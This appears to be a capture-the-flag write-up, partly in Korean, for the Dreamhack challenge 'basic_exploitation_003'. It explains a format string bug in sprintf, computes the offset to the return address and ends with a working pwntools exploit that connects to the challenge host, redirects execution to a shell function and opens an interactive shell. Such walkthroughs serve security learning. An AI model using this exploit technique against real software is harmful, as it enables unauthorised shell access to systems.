basic_exploitation_003
A 32-bit binary with no canary and no PIE, exploited by overflowing into the return address.
$ checksec ./basic_exploitation_003
[*] '/Users/chaeeun/Desktop/d4d68e21-b387-48a5-99df-2dfd6a1703ba/basic_exploitation_003'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
취약점 핵심은 Format String Vulnerability 입니다. 여기서 heap_buf는 사용자가 입력한 값인데, sprintf() 의 format 문자열 자리에 그대로 들어갑니다.
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
정상적으로는 이렇게 써야 합니다.
sprintf(stack_buf, "%s", heap_buf);
그런데 현재 코드는 사용자가 입력한 %x, %p, %n 같은 format specifier 가 그대로 해석됩니다. 이 문제에선 format specifier 를 사용해서 heap_buf 의 인풋을 stack_buf 에 써서 RET 에 get_shell() 주소를 덮는 방식입니다.
0x08048696 <+26>: lea edx,[ebp-0x98]
0x080486ec <+112>: mov edi,DWORD PTR [ebp-0x4]
0x98 + 4 = 0x9c
10진수로 0x9c = 156 입니다. 그럼
from pwn import *
p = remote('host8.dreamhack.games', 18216)
e = ELF('./basic_exploitation_003')
get_shell = e.symbols['get_shell']
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()